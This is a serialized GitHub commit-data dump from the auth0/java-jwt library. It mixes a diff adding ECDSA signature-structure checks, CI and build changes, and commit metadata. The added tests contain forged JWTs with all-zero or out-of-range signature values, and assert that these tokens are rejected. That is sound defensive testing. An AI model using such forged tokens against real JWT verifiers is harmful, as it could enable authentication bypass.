+            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset,
+                    Math.min(ecNumberSize, sLength));
         }
 
         return derSignature;
     }
 
+    private boolean isAllZeros(byte[] bytes) {
+        for (byte b : bytes) {
+            if (b != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
     private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
         int padding = 0;
         while (fromIndex + padding < toIndex && bytes[fromIndex + padding] == 0) {u}(jx^  (2e636c7126a63fd79ff4b0eebb999269fb917f78j^  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj^  modifiedj^  Kj^  Kj^  Kj^  https://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj^  https://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj^  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  X+  @@ -4,18 +4,21 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.JWTVerifier;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.io.ByteArrayOutputStream;
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
 import java.util.Arrays;
 import java.util.Base64;
 
@@ -462,6 +465,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -480,6 +487,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -498,6 +509,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -827,12 +842,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Test
@@ -1197,4 +1213,140 @@ public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKe
         algorithm.sign(new byte[0]);
     }
 
+    @Test
+    public void invalidECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0._____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void signatureWithAllZerosShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(pubKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] signatureBytes = new byte[64];
+        algorithm256.validateSignatureStructure(signatureBytes, pubKey);
+    }
+
+    @Test
+    public void signatureWithRZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankR = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankR[i] = 0;
+            } else {
+                sigWithBlankR[i] = signature[i];
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankR, publicKey);
+    }
+
+    @Test
+    public void signatureWithSZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankS = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankS[i] = signature[i];
+            } else {
+                sigWithBlankS[i] = 0;
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankS, publicKey);
+    }
+
+    @Test
+    public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
+
+    @Test
+    public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+        invalidSignature[0] = Byte.MAX_VALUE;
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
 }
\ No newline at end of fileun     }(jx^  (3925eef3defd98e898bf7459ec6f860f020531f4j^  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj^  modifiedj^  Kj^  Kj^  Kj^  https://github.com/auth0/java-jwt/blob/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj^  https://github.com/auth0/java-jwt/raw/2a1315b16f0284dc8453bafbe3b1acad4cb98681/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj^  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=2a1315b16f0284dc8453bafbe3b1acad4cb98681j^  X
  @@ -11,11 +11,14 @@
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
+import java.util.Arrays;
 import java.util.Base64;
 
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
@@ -479,6 +482,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -497,6 +504,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -515,6 +526,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -823,12 +838,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Testueu(23e85493e19f9d1d8501d62a866525dc152551aa}(sha(23e85493e19f9d1d8501d62a866525dc152551aanode_idEC_kwDOAQtL0doAKDIzZTg1NDkzZTE5ZjlkMWQ4NTAxZDYyYTg2NjUyNWRjMTUyNTUxYWEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2023-01-11T11:52:30Zu	committer}(j+_  GitHubj-_  noreply@github.comj/_  2023-01-11T11:52:30ZumessagedMerge pull request #649 from auth0/disable-auto-release

[SDK-3891] Temporarily disable auto releasetree}(j#_  (ffeb12f0517c6bd6eb3c500491f89326f0425d19url^https://api.github.com/repos/auth0/java-jwt/git/trees/ffeb12f0517c6bd6eb3c500491f89326f0425d19uj;_  `https://api.github.com/repos/auth0/java-jwt/git/commits/23e85493e19f9d1d8501d62a866525dc152551aa
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjvqL+CRBK7hj4Ov3rIwAAkYkIAH49em7maMOKZiH7VA6qQsEF
i+tjp6jj1DKRLkY5IhDDy9qSPYkAfH15UACPIhg6UBFuKtFjgWsHGZNTYWYLVkr6
vbhXy/VnSm+6wGCV+TyEliN7H3G8pP43AMROmAMeD+TupK1QyTSBpkN4loZsQ1br
qEH7q7p6c2v+Sy5ySHHV/CCbWDKwH0UhqR81GcIDN3dlTEdtYxgq6mSN75/sQ9eV
TkcW0cxyevwMhx4BLWrYIP3uvkc+mjkJX6uOGnTUzdBti6wZcJVQVv9LfTNlRa5G
PDXVqtpLPIr0+Bs04QHNPifodgpGuS2xbKUPsZlP8h/Baj68qQESxi+FqAmFK4U=
=fjri
-----END PGP SIGNATURE-----
payloadXf  tree ffeb12f0517c6bd6eb3c500491f89326f0425d19
parent 931cd1243c4653744c0f1cc59f182566139cd2c5
parent 14618b5af545e382ce734ef3cb54ba12398460dc
author Poovamraj T T <poovamraj@gmail.com> 1673437950 +0100
committer GitHub <noreply@github.com> 1673437950 +0100

Merge pull request #649 from auth0/disable-auto-release

[SDK-3891] Temporarily disable auto releaseuuj;_  \https://api.github.com/repos/auth0/java-jwt/commits/23e85493e19f9d1d8501d62a866525dc152551aahtml_urlQhttps://github.com/auth0/java-jwt/commit/23e85493e19f9d1d8501d62a866525dc152551aacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/23e85493e19f9d1d8501d62a866525dc152551aa/commentsj)_  }(login	poovamrajidJ j%_  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j;_  &https://api.github.com/users/poovamrajjI_  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj1_  }(jN_  web-flowjP_  J/j%_  MDQ6VXNlcjE5ODY0NDQ3jR_  4https://avatars.githubusercontent.com/u/19864447?v=4jT_  h3j;_  %https://api.github.com/users/web-flowjI_  https://github.com/web-flowjW_  /https://api.github.com/users/web-flow/followersjY_  <https://api.github.com/users/web-flow/following{/other_user}j[_  5https://api.github.com/users/web-flow/gists{/gist_id}j]_  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j__  3https://api.github.com/users/web-flow/subscriptionsja_  *https://api.github.com/users/web-flow/orgsjc_  +https://api.github.com/users/web-flow/reposje_  6https://api.github.com/users/web-flow/events{/privacy}jg_  5https://api.github.com/users/web-flow/received_eventsji_  Userjk_  uparents](}(j#_  (931cd1243c4653744c0f1cc59f182566139cd2c5j;_  \https://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5jI_  Qhttps://github.com/auth0/java-jwt/commit/931cd1243c4653744c0f1cc59f182566139cd2c5u}(j#_  (14618b5af545e382ce734ef3cb54ba12398460dcj;_  \https://api.github.com/repos/auth0/java-jwt/commits/14618b5af545e382ce734ef3cb54ba12398460dcjI_  Qhttps://github.com/auth0/java-jwt/commit/14618b5af545e382ce734ef3cb54ba12398460dcuestats}(totalK	additionsK 	deletionsKufiles](}(j#_  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj_  K j_  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/23e85493e19f9d1d8501d62a866525dc152551aa/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/23e85493e19f9d1d8501d62a866525dc152551aa/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=23e85493e19f9d1d8501d62a866525dc152551aapatchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -57,17 +56,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - master
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(j#_  (6b2fdfe3da18f1c07b06bd3ea8caf030369159a1j_  lib/build.gradlej_  modifiedj_  K j_  Kj_  Kj_  bhttps://github.com/auth0/java-jwt/blob/23e85493e19f9d1d8501d62a866525dc152551aa/lib%2Fbuild.gradlej_  ahttps://github.com/auth0/java-jwt/raw/23e85493e19f9d1d8501d62a866525dc152551aa/lib%2Fbuild.gradlej_  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=23e85493e19f9d1d8501d62a866525dc152551aaj_  X  @@ -1,6 +1,3 @@
-buildscript {
-    version = "4.2.1"
-}
 
 plugins {
     id 'java'
@@ -9,13 +6,6 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -29,7 +19,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.1.0"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(fe9eed58ed09b9200f902efc033c83f8ecd6c43f}(sha(fe9eed58ed09b9200f902efc033c83f8ecd6c43fnode_idEC_kwDOAQtL0doAKGZlOWVlZDU4ZWQwOWI5MjAwZjkwMmVmYzAzM2M4M2Y4ZWNkNmM0M2Ycommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-20T22:55:59Zu	committer}(j_  Jim Andersonj_  jimranderson@gmail.comj_  2022-10-20T22:56:04ZumessageUpdate ship orbtree}(j_  (89d88bd42bf46c7094a07f32b429cf5fb55d526furl^https://api.github.com/repos/auth0/java-jwt/git/trees/89d88bd42bf46c7094a07f32b429cf5fb55d526fuj_  `https://api.github.com/repos/auth0/java-jwt/git/commits/fe9eed58ed09b9200f902efc033c83f8ecd6c43f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj_  \https://api.github.com/repos/auth0/java-jwt/commits/fe9eed58ed09b9200f902efc033c83f8ecd6c43fhtml_urlQhttps://github.com/auth0/java-jwt/commit/fe9eed58ed09b9200f902efc033c83f8ecd6c43fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fe9eed58ed09b9200f902efc033c83f8ecd6c43f/commentsj_  }(login
jimmyjamesidJ7 j_  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j_  'https://api.github.com/users/jimmyjamesj_  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj_  }(j_  
jimmyjamesj_  J7 j_  MDQ6VXNlcjI3NjIyNQ==j_  2https://avatars.githubusercontent.com/u/276225?v=4j_  h3j_  'https://api.github.com/users/jimmyjamesj_  https://github.com/jimmyjamesj_  1https://api.github.com/users/jimmyjames/followersj_  >https://api.github.com/users/jimmyjames/following{/other_user}j_  7https://api.github.com/users/jimmyjames/gists{/gist_id}j_  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j_  5https://api.github.com/users/jimmyjames/subscriptionsj_  ,https://api.github.com/users/jimmyjames/orgsj_  -https://api.github.com/users/jimmyjames/reposj_  8https://api.github.com/users/jimmyjames/events{/privacy}j_  7https://api.github.com/users/jimmyjames/received_eventsj_  Userj_  uparents]}(j_  (32935767d3414d1e91feec41ee69159b3d2524ebj_  \https://api.github.com/repos/auth0/java-jwt/commits/32935767d3414d1e91feec41ee69159b3d2524ebj_  Qhttps://github.com/auth0/java-jwt/commit/32935767d3414d1e91feec41ee69159b3d2524ebuastats}(totalK	additionsK	deletionsKufiles]}(j_  (9cf198c89eea1b8108df25d0c26143cb209483f1filename.circleci/config.ymlstatusmodifiedj`  Kj`  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/fe9eed58ed09b9200f902efc033c83f8ecd6c43f/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/fe9eed58ed09b9200f902efc033c83f8ecd6c43f/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=fe9eed58ed09b9200f902efc033c83f8ecd6c43fpatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.2
+  ship: auth0/ship@0.7.3
   codecov: codecov/codecov@3
 
 commands:uau(14618b5af545e382ce734ef3cb54ba12398460dc}(sha(14618b5af545e382ce734ef3cb54ba12398460dcnode_idEC_kwDOAQtL0doAKDE0NjE4YjVhZjU0NWUzODJjZTczNGVmM2NiNTRiYTEyMzk4NDYwZGMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2023-01-11T09:02:18Zu	committer}(j#`  
Poovamraj T Tj%`  poovamraj@gmail.comj'`  2023-01-11T09:02:18Zumessage Temporarily disable auto releasetree}(j`  (ffeb12f0517c6bd6eb3c500491f89326f0425d19url^https://api.github.com/repos/auth0/java-jwt/git/trees/ffeb12f0517c6bd6eb3c500491f89326f0425d19uj3`  `https://api.github.com/repos/auth0/java-jwt/git/commits/14618b5af545e382ce734ef3cb54ba12398460dc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj3`  \https://api.github.com/repos/auth0/java-jwt/commits/14618b5af545e382ce734ef3cb54ba12398460dchtml_urlQhttps://github.com/auth0/java-jwt/commit/14618b5af545e382ce734ef3cb54ba12398460dccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/14618b5af545e382ce734ef3cb54ba12398460dc/commentsj!`  }(login	poovamrajidJ j`  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j3`  &https://api.github.com/users/poovamrajj?`  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
